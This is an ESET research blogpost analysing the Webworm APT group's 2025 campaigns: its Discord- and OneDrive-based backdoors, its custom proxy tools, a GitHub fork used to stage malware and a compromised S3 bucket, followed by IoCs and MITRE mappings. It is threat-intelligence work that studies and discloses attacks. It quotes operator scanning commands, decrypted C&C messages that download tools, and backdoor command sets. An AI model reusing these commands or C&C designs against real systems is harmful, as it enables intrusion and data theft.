

Webworm: New burrowing techniques

 welivesecurity.com/en/eset-research/webworm-new-burrowing-techniques

 **WordPress** Public

[forked from WordPress/WordPress](#)

master

1 Branch

0 Tags

Add file

Code

This branch is 12 commits ahead of, 565 commits behind `WordPress/WordPress:master`.

 **anjsdgsdf** Delete vpnbridge_x64.exe

4176855 · last month

 50,846 Commits

ESET researchers analyzed the 2025 activity of Webworm, a China-aligned APT group that started out targeting organizations in Asia, but has recently shifted its focus to Europe. Even though this is our first public blogpost on the group, we have been observing Webworm's activities ever since [Symantec](#) first reported on this threat actor in 2022. Over the years, we have seen that this threat actor continually changes its tactics, techniques, and procedures (TTPs).

Webworm is linked to other China-aligned APT groups such as [SixLittleMonkeys](#) and [FishMonger](#). In the past, it made use of well-known malware families such as McRat (aka 9002 RAT) and Trochilus, though in recent years, it has started moving toward both existing and custom proxy tools, which are more stealthy than full-fledged backdoors. In 2025, Webworm also added two new backdoors to its toolset: EchoCreep, which uses Discord for C&C communication, and GraphWorm, which uses Microsoft Graph API for the same purpose. The group is also known for staging its malware and tools in GitHub repositories, ensuring that malware can be directly downloaded onto the victim's machine.

Key points of the blogpost:

- Since its discovery in 2022, the Webworm APT group has been actively updating its toolset and targeting.
- In 2025, the group started employing backdoors that use Discord and Microsoft Graph API for C&C communication.
- ESET researchers decrypted over 400 Discord messages and a bash history file discovered on an operator server with reconnaissance commands used against more than 50 unique targets.
- In addition to backdoors, Webworm leverages multiple existing and custom proxy tools.
- The group uses GitHub to stage its malware.

We attribute the 2025 campaign to Webworm based on the information we discovered after decrypting the Discord messages used by the EchoCreep backdoor for C&C communication. The information led us to the attackers' GitHub repository, which contained staged artifacts such as the SoftEther VPN application. Inside the SoftEther configuration file, we found an IP address that matches a known Webworm IP.

Victims who were impacted by Webworm from countries mentioned later in this blogpost have been appropriately notified. In addition, services we have identified, such as a GitHub repository and an S3 bucket, have been taken down.

Evolving approach

In 2022, one of Webworm's main characteristics was the use of established backdoors and remote access trojans (RATs) such as McRat and Trochilus. As described in the Symantec blogpost, the group originally targeted mainly countries in Asia.

In 2024, we observed that the group started to move away from traditional backdoors in favor of legitimate or semi-legitimate tools, such as SOCKS proxies (SoftEther VPN) and other networking solutions. While these help Webworm evade detection, they also lack the full set of commands typically available in backdoors, so the operators have to rely on command interpreters such as `cmd.exe` or `powershell.exe`.

At that time, we also saw that the group started to slow down operations in Asia and shift its focus toward European countries. This trend continued in 2025, with the attacks we observed targeting governmental organizations in Belgium, Italy, Serbia, and Poland. At the same time, Webworm also made a foray into South Africa, compromising a local university.

In these latest campaigns, Webworm seems to have abandoned Trochilus and McRat altogether, while continuing to expand its toolset. Chief among the new tools are two new backdoors: the Discord-based EchoCreep, and the Microsoft Graph-based GraphWorm. While the group continued to use existing proxy solutions, specifically the Go-written [iox](#) (port forwarding and intranet proxy tool) and [frp](#) (fast reverse proxy), it also added custom proxy solutions WormFrp, ChainWorm, SmuxProxy, and WormSocket.

These custom proxy tools are not only capable of encrypting communications, but also support chaining across multiple hosts both internally and externally to a network. We believe that the operators use these tools in conjunction with SoftEther VPN to better cover their tracks and increase the stealth of their activities. All Webworm proxies and VPN services are cloud servers that belong to network infrastructure controlled by [Vultr](#) and [IT7 Networks](#). Based on the number of proxy tools and their complexities, Webworm may be creating a much larger hidden network by tricking victims into running its proxies.

Discord and Microsoft Graph API C&C communication

In 2025, Webworm started abusing Discord and Microsoft Graph API for C&C communication. While analyzing the EchoCreep backdoor, we managed to uncover more than 400 Discord messages. We also found four unique channels, each corresponding to a different victim. EchoCreep uses Discord to upload files, send runtime reports, and receive commands. The backdoor's network communication passes through Discord APIs using crafted HTTP requests.

In the case of GraphWorm, which uses Microsoft Graph API for C&C communication, we discovered that it uses OneDrive endpoints exclusively, specifically to get new jobs and to upload victim information. A separate OneDrive directory is created for each specific victim. Since the instance of OneDrive employed by GraphWorm is running in the cloud, the backdoor can leverage the Microsoft Graph API endpoint /createUploadSession to upload large, staged files.

Amazon S3 bucket

During our investigation of the 2025 campaigns, we discovered that Webworm had started using its custom proxy solution WormFrp to retrieve configurations from a compromised Amazon S3 bucket located at `wamanharipethe.s3.ap-south-1.amazonaws[.]com`. An Amazon S3 bucket is a public cloud storage solution available in Amazon Web Services, with the S3 standing for simple storage service. We believe that the compromised bucket is the publicly accessible – or even, possibly policy misconfigured – version of `whpjewellers.s3.amazonaws[.]com`.

Our initial review of the files stored in the bucket revealed several snapshots from virtual machine hosts, one of which contained the current configuration and active state of a machine belonging to a governmental entity in Italy. This could mean that the operators were able to successfully penetrate the environment responsible for managing the victim's virtual machines. However, they could just as well have gained access to only a single host where snapshots were stored. Either way, it is apparent that through this S3 bucket, Webworm can exfiltrate data while an unsuspecting victim foots the bill for the service.

In late October 2025, the threat actors uploaded another file to the S3 bucket, an executable named [SharpSecretsdump](#). This tool, as mentioned in its documentation, mimics the activity of the infamous `secretsdump.py` from [Impacket](#) to dump credentials from the affected Windows host it is deployed on. We assume that Webworm operators uploaded this tool to the S3 bucket for use against their victims.

Between December 2025 and January 2026, the operators uploaded 20 new files to the service, two of which had been exfiltrated from a governmental entity in Spain. The first of these two files, an XML file, contains the saved configurations of virtual hosts used by [mRemoteNG](#), an open-source remote connection manager. The second file is a [Microsoft Visio](#) diagram detailing the infrastructure behind a domain used by this governmental entity.

GitHub repository

While going over EchoCreep's Discord C&C infrastructure, we managed to retrieve Discord's unique identifiers relating to users, channels, and guilds. Unfortunately, with limited access of

the bot's token, there were no API calls that could be used to enumerate the information surrounding the owners of the server or the bot itself.

However, the Discord messages revealed the GitHub repository <https://github.com/anjsdgasdf/WordPress>, which acts as a file stager for other tools and malware used by Webworm (one such tool used the compromised Amazon S3 bucket mentioned above). As a direct fork of the legitimate [WordPress](#) repository, it could hide in plain sight. Figure 1 shows an overview of this repository, with staged files placed into the wp-admin directory.



WordPress

Public

forked from

WordPress/WordPress

Watch

master

1 Branch

0 Tags

Go to file

Add file

Code

This branch is 12 commits ahead of, 565 commits behind WordPress/WordPress:master .

anjsdgasdf

Delete vpnbridge_x64.exe

4176855 · last month

50,846 Commits

wp-admin	Add files via upload	5 months ago
wp-content	Bundled Themes: Move skip link from #page to body in Twent...	6 months ago
wp-includes	Add files via upload	4 months ago
index.php	Code Modernization: Replace dirname(__FILE__) calls with...	5 years ago
license.txt	Security: Remove Cafelog URL.	6 months ago
readme.html	General: Add noindex, nofollow meta tag to the readme.html f...	6 months ago
setting.conf	Add files via upload	last month
wp-activate.php	Multisite: Escape urls and html elements in wp-activate.php	last year
wp-blog-header.php	Code Modernization: Replace dirname(__FILE__) calls with...	5 years ago
wp-comments-post.php	Docs: Use third-person singular verbs in various function des...	2 years ago
wp-config-sample.php	Docs: Slightly adjust the description for \$table_prefix in `wp...	11 months ago
wp-cron.php	Docs: Improve the wording for cron_reschedule_event_error...	last year
wp-links-opml.php	Coding Standards: Various brace indentation corrections.	3 years ago
wp-load.php	Docs: Update the link to the "Editing wp-config.php" article i...	last year
wp-login.php	Posts, Post Types: Explicitly pass a redirect URL for the post p...	8 months ago
wp-mail.php	General: Error messages improvements in /wp-includes files.	7 months ago
wp-settings.php	Block support: Add server-side processing for ariaLabel.	7 months ago
wp-signup.php	Administration: Update out of date error message styling.	6 months ago
wp-trackback.php	Pings/Trackbacks: Validate that the specified charset is availa...	11 months ago
xmlrpc.php	Coding Standards: Remove unnecessary isset() from xmlrpc...	10 months ago

Figure 1. Forked WordPress repository

Worming its way in

Even though we were unable to find the entry point that Webworm uses to compromise its victims, we have discovered that the group employs open-source utilities to scrape victim web

server files and directories, and search for vulnerabilities within.

We found this after noticing that a victim machine was communicating with a proxy server hosted at 64.176.85[.]158. Review of the IP address showed that an open directory, which contained the aforementioned open-source utilities, had previously been hosted there on port 80. Figure 2 provides a top-level view into this open directory listing.

Directory listing for /

- [.bash_history](#)
 - [.bashrc](#)
 - [.cache/](#)
 - [.config/](#)
 - [.dirsearch/](#)
 - [.local/](#)
 - [.npm/](#)
 - [.profile](#)
 - [.ssh/](#)
 - [.viminfo](#)
 - [.wget-hsts](#)
 - [client](#)
 - [hello](#)
 - [iox/](#)
 - [ls.py](#)
 - [lsl.py](#)
 - [nuclei/](#)
 - [nuclei-templates/](#)
 - [rev.py](#)
 - [tes/](#)
-

Figure 2. Open directory listing

The key directories relevant to our blogpost are `nuclei/`, `.dirsearch/`, and the `.bash` history file. As can be seen in Figure 3, Webworm operators were able to brute force directories and files within web servers by using [dirsearch](#), a web path scanner utility with the capability of filtering specific status codes, and [nuclei](#), an open-source vulnerability scanner, to identify any possible vulnerabilities against specific targets.

```
./nuclei --target https://[REDACTED]/home/
dirsearch -u https://[REDACTED] -x 403,404,400,402,401,405,500,503
dirsearch -u https://[REDACTED]/archive/ -x 403,404,400,402,401,405,500,503
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
cd nuclei
./nuclei --target https://[REDACTED]/
./nuclei --target https://[REDACTED]
./nuclei --target https://[REDACTED]/
./nuclei --target https://[REDACTED]
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
dirsearch -u https://[REDACTED] -x 403,404,400,402,401,500,503
dirsearch -u https://[REDACTED] -x 403,404,400,402,401,500,503
```

Figure 3. History of nuclei and dirsearch

The results of running dirsearch were stored in the .dirsearch directory, which revealed that the tool had been executed against 56 targets from a variety of countries such as Spain, Hungary, Belgium, Nigeria, Czechia, and Serbia.

In the nuclei directory, we found the [LegalHackers](#) script, named _1.sh. It is a proof-of-concept exploit of [CVE-2017-7692](#), a vulnerability allowing post-authentication remote code execution within the webmail client [SquirrelMail](#). Looking in the .bash_history directory, we discovered that a similarly named script had been executed against a Serbian webmail target. This leads to the assumption that the group obtained the Serbian victim’s credentials and may have been using this vulnerability as part of initial access.

Toolset

In this blogpost, we look in detail at the new additions to Webworm’s arsenal. First, at its two custom backdoors: EchoCreep and GraphWorm. Then, at the custom proxy solutions that the group deployed in its 2025 campaigns: WormFrp, ChainWorm, SmuxProxy, and WormSocket.

EchoCreep

EchoCreep is a new backdoor, written in Go, that uses Discord as a C&C server, with messages beginning as early as March 21st, 2024. It is capable of executing the commands shown in Table 1.

Table 1. EchoCreep commands

Command	Arguments	Description
upload	File path	Uploads a file, as an attachment, to Discord from the specified file system path.

Command	Arguments	Description
download	Source (URL) and destination (path)	Downloads a file from the provided source URL to the file system path destination.
shell	String	Executes the string within a cmd.exe shell.
sleep	Integer (seconds)	Sleeps for the specified number of seconds before providing a success report back to the Discord server.

While we were unable to confirm how the backdoor made its way onto the victim machine, it appears that persistence was only obtained post-compromise via C&C commands.

All of EchoCreep's network communication is passed through Discord API endpoints using crafted HTTP requests. To parse commands, the backdoor first needs to decode them using base64, and then decipher them using AES-CBC-128. Figure 4 shows an example of a command and a reply after both have been decrypted.

```
{"guild": "lol", "channel_id": 1220298277849796651, "channel": "fire", "content": "she"}
```

Figure 4. EchoCreep command and reply

From all 433 Discord messages we decrypted, it was not evident exactly who was impacted since they are not ESET customers. However, we were at least able to determine the number of victims compromised by EchoCreep based on channel names. We discovered that these names were either the victim's IP address, or a combination of the IP address and the victim machine's hostname. Having found four unique channels using this naming convention, we believe that there are four victims.

Upon EchoCreep's first execution, it does not attempt to create a new channel, but sends a message saying Up Success to a channel that already exists (see Figure 5 and Figure 6). This indicates that the channels were created prior to the execution of the backdoor, suggesting that the operators either knew the targets or exfiltrated the necessary information following initial access.

Figure 5. EchoCreep Discord Up Success message

```

up_success_msg.ptr = "Up Success";
up_success_msg.len = 10;
main_ptr_Bot_sendMessage((_ptr_main_Bot)v3.part_0, up_success_msg);

```

Figure 6. EchoCreep backdoor Up Success message

The earliest messages, sent from March 21st, 2024 to March 31st, 2025, appear to have been operator test commands. Figure 7 shows that the threat actors left some information about their local IP configurations in there.

Ethernet adapter Ethernet0:

```

Connection-specific DNS Suffix  . : lan
Link-local IPv6 Address . . . . . : fe80::2111:d79b:b1ba:1f4a%10
IPv4 Address. . . . . : 192.168.8.174
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . . . : 192.168.8.1

```

Figure 7. Windows ipconfig output

Many of the other earlier messages contained garbage values, possibly used as a test to identify proper communication, as seen in Figure 8.

```

{"guild": "lol", "channel_id": 1220298277849796651, "channel": "fire", "content": "", "time": "2024-03-21T09:10:49.587000+00:00", "author_id": 1220292840803012639, "author": "fire"}
{"guild": "lol", "channel_id": 1220298277849796651, "channel": "fire", "content": "123", "time": "2024-03-21T09:10:54.468000+00:00", "author_id": 1219910976007045171, "author": "jonson889912"}
{"guild": "lol", "channel_id": 1220298277849796651, "channel": "fire", "content": "123123123", "time": "2024-03-21T09:12:28.030000+00:00", "author_id": 1219910976007045171, "author": "jonson889912"}
{"guild": "lol", "channel_id": 1220298277849796651, "channel": "fire", "content": "1234567", "time": "2024-03-21T09:37:39.245000+00:00", "author_id": 1219910976007045171, "author": "jonson889912"}
{"guild": "lol", "channel_id": 1220298277849796651, "channel": "fire", "content": "123", "time": "2024-03-21T09:43:00.241000+00:00", "author_id": 1219910976007045171, "author": "jonson889912"}
{"guild": "lol", "channel_id": 1220298277849796651, "channel": "fire", "content": "123", "time": "2024-03-21T09:43:24.196000+00:00", "author_id": 1220292840803012639, "author": "fire"}
{"guild": "lol", "channel_id": 1220298277849796651, "channel": "fire", "content": "123", "time": "2024-03-21T09:43:36.276000+00:00", "author_id": 1219910976007045171, "author": "jonson889912"}
{"guild": "lol", "channel_id": 1220298277849796651, "channel": "fire", "content": "", "time": "2024-03-21T09:46:33.463000+00:00", "author_id": 1220292840803012639, "author": "fire"}
{"guild": "lol", "channel_id": 1220298277849796651, "channel": "fire", "content": "123", "time": "2024-03-22T01:14:23.525000+00:00", "author_id": 1220292840803012639, "author": "fire"}

```

Figure 8. Junk commands

Soon afterwards, we began to see download operations take place like those in Figure 9, showing the development of advanced commands.

```

{"guild": "lol", "channel_id": 1220298277849796651, "channel": "fire", "content": "download https://github.com/fatedier/frp/releases/download/v0.56.0/frp_0.56.0_darwin_amd64.tar.gz C:\\windows\\temp\\123.tar.gz", "time": "2024-03-22T01:43:36.891000+00:00", "author_id": 1219910976007045171, "author": "jonson889912"}
{"guild": "lol", "channel_id": 1220298277849796651, "channel": "fire", "content": "Download Success!", "time": "2024-03-22T01:43:41.794000+00:00", "author_id": 1220292840803012639, "author": "fire"}

```

Figure 9. frp download

In addition, in Figure 10, we see testing activities that may have been early adaptations of the persistence mechanism that Webworm would use later against victims. What's also interesting is that it executes the run command instead of the eventually used shell command, supporting our determination that these were early tests.

```
{
  "guild": "lol",
  "channel_id": 1220298277849796651,
  "channel": "fire",
  "content": "run C:\\\\tools\\se\\win64\\test.vbs",
  "time": "2024-03-22T06:10:02.620000+00:00",
  "author_id": 1219910976007045171,
  "author": "jonson889912"
}
{
  "guild": "lol",
  "channel_id": 1220298277849796651,
  "channel": "fire",
  "content": "Run Success!",
  "time": "2024-03-22T06:10:05.259000+00:00",
  "author_id": 1220292840803012639,
  "author": "fire"
}
```

Figure 10. Test VBScript

The first actual compromise took place on April 9th, 2025, when new Up Success messages appeared in the logs associated with a new channel name. Shortly after the initial compromise, the threat actor used shell commands to execute curl to download files.

GraphWorm

GraphWorm is another new backdoor wielded by Webworm. It executes itself whenever the victim logs in to the machine. GraphWorm uses the Microsoft Graph API for C&C communication, showing that Webworm has new infrastructure in place to compromise victims, storing information within a Microsoft Graph tenant. Based on what we've seen, the backdoor exclusively uses OneDrive to receive commands and send victim data. The data involved in these communications is first AES-256-CBC encrypted using [OpenSSL EVP](#) library calls, and then base64 encoded. GraphWorm also allows for proxy settings to be configured, thus tunneling any traffic through the specified proxy.

On first execution, the backdoor creates a unique victim ID by concatenating the network adapter IP, processor ID, and the serial number of a physical device using the WMI framework.

The unique ID is used in the process to rename or create a new OneDrive folder within the tenant. Each folder is unique to a compromise, containing specific subfolders under each victim. The three subfolders /files, /result, and /job are used to store files, results of commands executed on the victim machine, and jobs queued by the operators to execute, respectively.

After the folder has been created successfully, the backdoor collects information about the victim machine, resulting in the JSON object seen in Figure 11.

```
{
  "Host Name": "<computer_name>",
```

```

    "IP Address": "<ip>",
    "MAC Address": "<mac>",
    "Operating System": "<os>",
    "Privilege": "<Admin|Regular User>",
    "Time Zone": "<UTC-XXXX>",
    "User Name": "<username>",
    "Workgroup": "<workgroup>",
    "publicKey": "<key>"
}

```

Figure 11. Configuration structure

The commands that GraphWorm receives through OneDrive are described in Table 2, in order of discovery.

Table 2. GraphWorm commands

Command	Arguments	Description
keyExchange	String <adminPublicKey>	This value is set in memory and unfortunately its purpose is not easily identifiable. It could be used to set a public key within the application to gain reverse shell access.
sessionKey	String <sessionKey> String <keyId>	Another set of values set within memory and not evident how they are used. Believed to be an RSA private key and AES key to be updated in memory and used for cryptographic functions.
kill	N/A	Stops the execution of the backdoor.
shell	N/A	Spawns a new instance of cmd.exe.
exec	File path	Executes a new process using CreateProcessW.
upload	String <onedrive_path> String <agent_path>	Downloads a file based on the OneDrive and agent path. The <onedrive_path> is believed to be the full path as it appears in OneDrive, resulting in the format of /me/drive/root:/<onedrive_path>, and <agent_path> is the full file path as it appears on disk.
sleep	Integer	Updates sleep duration.

Command	Arguments	Description
poll	Integer	Updates sleep duration for an undetermined reason. Possibly because the development of commands is still ongoing.
rest	Integer	Sleep for a duration of time.
upgrade	JSON text	The JSON text contains configuration settings to update fields in memory, followed by writing of these changes to the config.dat file on disk.
download	String <onedrive_path> String <file_path>	Uploads the file from the provided <file_path> to the path desired in OneDrive. <onedrive_path> is believed to be in the format of /me/drive/root:/<uniqueid>/<filename>/:content.
heartbeat	Integer <min> Integer <max>	Used to create a random delay period between the min and max of how long to wait to update alive.txt.

During our research, we noticed that upon completion of the shell command, the results were written to a file beacon_shell_output.txt and saved in a temporary directory. To upload these large shell command outputs, the operators most likely leveraged the Microsoft Graph API endpoint /createUploadSession, since the backdoor deals with a cloud instance of OneDrive.

WormFrp

WormFrp is a proxy tunneling tool inspired by the existing fast reverse proxy (frp) utility that Webworm also uses. The threat actors expanded frp with custom functionalities so that the tool can obtain its configuration values from a compromised Amazon S3 bucket, wamanharipethe.s3.ap-south-1.amazonaws[.]com.

The compromised S3 bucket contains several files with .txt extensions that are AES encrypted using ECB mode. Each WormFrp instance is hardcoded with a unique AES key and retrieves a unique file from the S3 bucket. The configuration file is updated during WormFrp execution to send information back to the operator to identify where the tunnel connects from.

WormFrp requires a command line argument to run. After obtaining its configuration from the S3 bucket, WormFrp attempts to log into an frp server, opening a reverse proxy and TCP SOCKS5 proxy. Based on observed samples, the username and password are always randomly generated.

Each instance of WormFrp connects to an frp server through a public IP address. Additional network activity may be seen from the victim's machine once the reverse proxy is configured.

ChainWorm

ChainWorm is another custom proxy tool used by Webworm operators. It appears that ChainWorm's main function is to assist in expanding Webworm's network infrastructure of proxies by opening a port on the machine on which it is deployed. Webworm can use this tool to chain proxies where specifically crafted data is sent through the port connecting to another remote system, forwarding the traffic to the next destination for an indeterminate number of hops.

Typically, the port that is opened on the impacted host is hardcoded in the tool. TCP connections are then opened on the hardcoded port to receive any transmissions that would lead to additional outbound connections of either a direct IP address or hostname along with its port.

Using the combination of the hostname and port, a connection is made to the next hop in the chain. With connections established between source and destination, any data passed through is now forwarded to the next upstream hop in the chain. If at any point there is an exception, the source is notified with the 0x05 01 00 01 00 00 00 00 00 00 byte sequence before attempting to reconnect.

SmuxProxy

SmuxProxy is a utility based on iox, a port forwarding and intranet proxy tool. On top of the existing iox functionality, SmuxProxy contains small customizations to allow for a hardcoded server IP address and port, making it easier for operators to drop and execute. It can also generate a random key and initialization vector for encrypted communications.

WormSocket

The last of Webworm's new custom proxies is WormSocket, a tool that makes use of configured servers running socket.io to establish a proxy for web requests. WormSocket allows for a highly configurable and scalable proxy network, allowing specific nodes to be interacted with at any given time.

Its configuration relies on both hardcoded values and command line arguments. WormSocket accepts an optional command line argument --proxy followed by a URI containing basic authentication, used as a configuration to create a [WebProxy](#) object. The proxy is then used

on top of a connection to a web socket. Configurations for this web socket are hardcoded in WormSocket.

Once WormSocket has started, it first connects to the configured IP address and port by attempting connections using ws, wss, http, and https schemes. Once a successful connection is made, an asynchronous task is spawned to receive and send new messages. There are four possible message types, described in detail in Table 3.

Type	Message class	Values	Description
1	InitiateForwarderClientReq	String <ForwardedClientId>	Uses the IpAddress field to perform a DNS lookup to obtain the host address of a possible domain passed through, the result of which is used to create a new TCP client with the Port. Once the client establishes connectivity, it is stored within a dictionary of ForwardedClientId and TcpClient pairs. In addition, a new InitiateForwarderClientRep message object is created with the same information used to build the TCP client, and sent with the messages read through the client and stored in a ConcurrentQueue for later use.
		String <IpAddress>	
		Integer <Port>	

Type	Message class	Values	Description
2	InitiateForwarderClientRep	String <ForwarderClientId>	ForwarderClientId is used to look up an already configured TCP client created by InitiateForwarderClientReq in the client dictionary, all other values appear to not be in use. Once the TCP client is retrieved, new messages are read and stored in a ConcurrentQueue for later use.
		String <BindAddress>	
		Integer <BindPort>	
		Integer <AddressType>	
		Integer <Reason>	
3	SendDataMessage	String <ForwarderClientId>	Sends the Data through base64 encoding followed by the TCP client associated with ForwarderClientId.
		Bytes[] <Data>	
4	CheckInMessage	String <MessengerId>	Assigns MessengerId to the internal MessengerId, which does not appear to be used for anything.

Conclusion

Webworm is a China-aligned APT group active since at least 2022. It employs a constantly evolving toolkit comprising mainly backdoors and a combination of open-source and custom proxy utilities. In the 2025 campaigns we observed, Webworm began using Discord-based (EchoCreep) and Microsoft Graph API-based (GraphWorm) backdoors. The group also continues to stage files in GitHub repositories, and we can only assume that it will keep doing so in the future.

Through our analysis, we were fortunate enough to recover commands executed from a server that gave a view into the group's potential initial access techniques, using an open-source vulnerability scanner, as well as identifying some of its targets.

It is clear that Webworm is a very active APT group that will continue looking to use new tools to compromise its victims, whether this be from an initial access point, or post compromise.

For any inquiries about our research published on WeLiveSecurity, please contact us at threatintel@eset.com.

ESET Research offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the [ESET Threat Intelligence](#) page.

IoCs

A comprehensive list of indicators of compromise (IoCs) and samples can be found in [our GitHub repository](#).

Files

SHA-1	Filename	Detection	Description
CB4E5043333670738142 9707F59C3CBE8D497D98	SearchApp.exe	WinGo/Agent.ZK	EchoCreep backdoor using Discord for C&C.
1DF40A4A31B30B62EC33 DC6FECC2C4408302ADC7	ssh.exe	WinGo/HackTool. Proxy.AE	WormFrp proxy tool.
7DCFE9EE25841DFD58D3 D6871BF867FE32141DFB	svc.exe	MSIL/HackTool. Proxy.H	WormHole proxy tool.
77F1970D620216C5FFF4 E14A6CCC13FCCC267217	C2OverOneDrive_v 0316.exe	Win32/Agent.VWD	GraphWorm backdoor using the Microsoft Graph API for C&C.
948159A7FC2E68838686 4BEA59FD40DFFC4B24D6	MessengerClient. exe	MSIL/HackTool.P roxy.I	WormSocket proxy tool.
A3C077BDF8898E612CCD 65BC82E7960834ADB2A9	dsocks.exe	WinGo/Riskware. lox.L	SmuxProxy, a custom iox with hardcoded IP.

Network

IP	Domain	Hosting provider	First seen	Details
N/A	wamanharipethe.s3.ap-south-1.amazonaws[.]com	N/A	2025-04-14	Compromised S3 for frp configurations and data exfiltration.
45.77.13[.]67	N/A	Vultr Holdings, LLC	2025-04-07	WormSocket web socket server.
64.176.85[.]158	N/A	The Constant Company, LLC	2025-06-28	SmuxProxy server.
104.243.23[.]43	N/A	IT7 Networks Inc	2025-04-09	SmuxProxy server.
108.61.200[.]151	N/A	Vultr Holdings, LLC	2025-04-10	WormFrp proxy server.
144.168.60[.]233	N/A	IT7 Networks Inc	2025-06-30	Reverse shell IP discovered on SmuxProxy server.

MITRE ATT&CK techniques

This table was built using [version 19](#) of the MITRE ATT&CK framework.

Tactic	ID	Name	Description
Reconnaissance	T1595.002	Active Scanning: Vulnerability Scanning	Webworm utilized the open-source vulnerability scanner nuclei against targets.
	T1595.003	Active Scanning: Wordlist Scanning	Webworm used dirsearch, which leverages wordlists, to perform web directory scanning on targets.
Resource Development	T1588.006	Obtain Capabilities: Vulnerabilities	Webworm used publicly available exploit code for post-authentication remote code execution.
	T1583.004	Acquire Infrastructure: Server	Servers for WormFrp, SmuxProxy, and WormSocket are hosted on cloud services operated on Vultr and IT7 Network ASNs.
	T1583.003	Acquire Infrastructure: Virtual Private Server	Webworm makes use of SoftEther VPN servers that have been seen hosted on Vultr cloud services.
	T1584.006	Compromise Infrastructure: Web Services	Webworm has been seen compromising S3 buckets as well as using tools like nuclei to find footholds.
	T1608.002	Stage Capabilities: Upload Tool	Webworm staged tools in its GitHub repo for direct download onto compromised systems.

Tactic	ID	Name	Description
Execution	T1059.003	Command and Scripting Interpreter: Windows Command Shell	EchoCreep and GraphWorm both use the Windows command line to execute operator commands.
	T1053.005	Scheduled Task/Job: Scheduled Task	EchoCreep is executed under the custom-created MicrosoftSSHUpdate scheduled task.
Persistence	T1547.001	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	GraphWorm persists by making updates to registry Run keys.
Defense Impairment	T1070.004	Indicator Removal: File Deletion	GraphWorm cleans up a created beacon file after successful upload.
	T1112	Modify Registry	GraphWorm makes modifications to registry Run keys for persistence.
	T1027.013	Obfuscated Files or Information: Encrypted/Encoded File	GraphWorm and EchoCreep use encryption and encoding techniques to obfuscate data.
	T1550.001	Use Alternate Authentication Material: Application Access Token	GraphWorm and EchoCreep use API keys to communicate with the C&C infrastructure.
	T1078.004	Valid Accounts: Cloud Accounts	GraphWorm uses a valid cloud account to access Microsoft Graph APIs.
	T1070.006	Indicator Removal: Timestomp	EchoCreep contains a modified timestamp attribute.

Tactic	ID	Name	Description
Lateral Movement	T1021.007	Remote Services: Cloud Services	Webworm makes use of a compromised S3 bucket to use as a file staging zone.
Collection	T1005	Data from Local System	Both EchoCreep and GraphWorm can collect data from the local system.
	T1074.001	Data Staged: Local Data Staging	GraphWorm stages a beacon file locally before uploading to the C&C.
	T1074.002	Data Staged: Remote Data Staging	GraphWorm stages files and tasks within OneDrive via the Microsoft Graph API.

Tactic	ID	Name	Description
Command and Control	T1071.001	Application Layer Protocol: Web Protocols	EchoCreep, GraphWorm, and WormSocket make use of HTTP and the WebSocket protocol.
	T1132.001	Data Encoding: Standard Encoding	EchoCreep, GraphWorm, and WormSocket make use of base64 encoding.
	T1573.002	Encrypted Channel: Asymmetric Cryptography	EchoCreep, GraphWorm, WormSocket, and WormFrp use AES in some capacity.
	T1090.003	Proxy: Multi-hop Proxy	WormSocket and ChainWorm create multiple proxy hops.
	T1090.002	Proxy: External Proxy	WormFrp, ChainWorm, WormSocket, SmuxProxy, and GraphWorm have the capability to connect to external proxies.
	T1090.001	Proxy: Internal Proxy	ChainWorm and WormSocket can create internal proxies.
	T1102.002	Web Service: Bidirectional Communication	EchoCreep and GraphWorm use Discord and the Microsoft Graph API for C&C infrastructure.
Exfiltration	T1041	Exfiltration Over C2 Channel	EchoCreep and GraphWorm exfiltrate data to their respective C&C infrastructures.
	T1567.002	Exfiltration Over Web Service: Exfiltration to Cloud Storage	GraphWorm exfiltrates data to OneDrive via the Microsoft Graph API.



GET A DEMO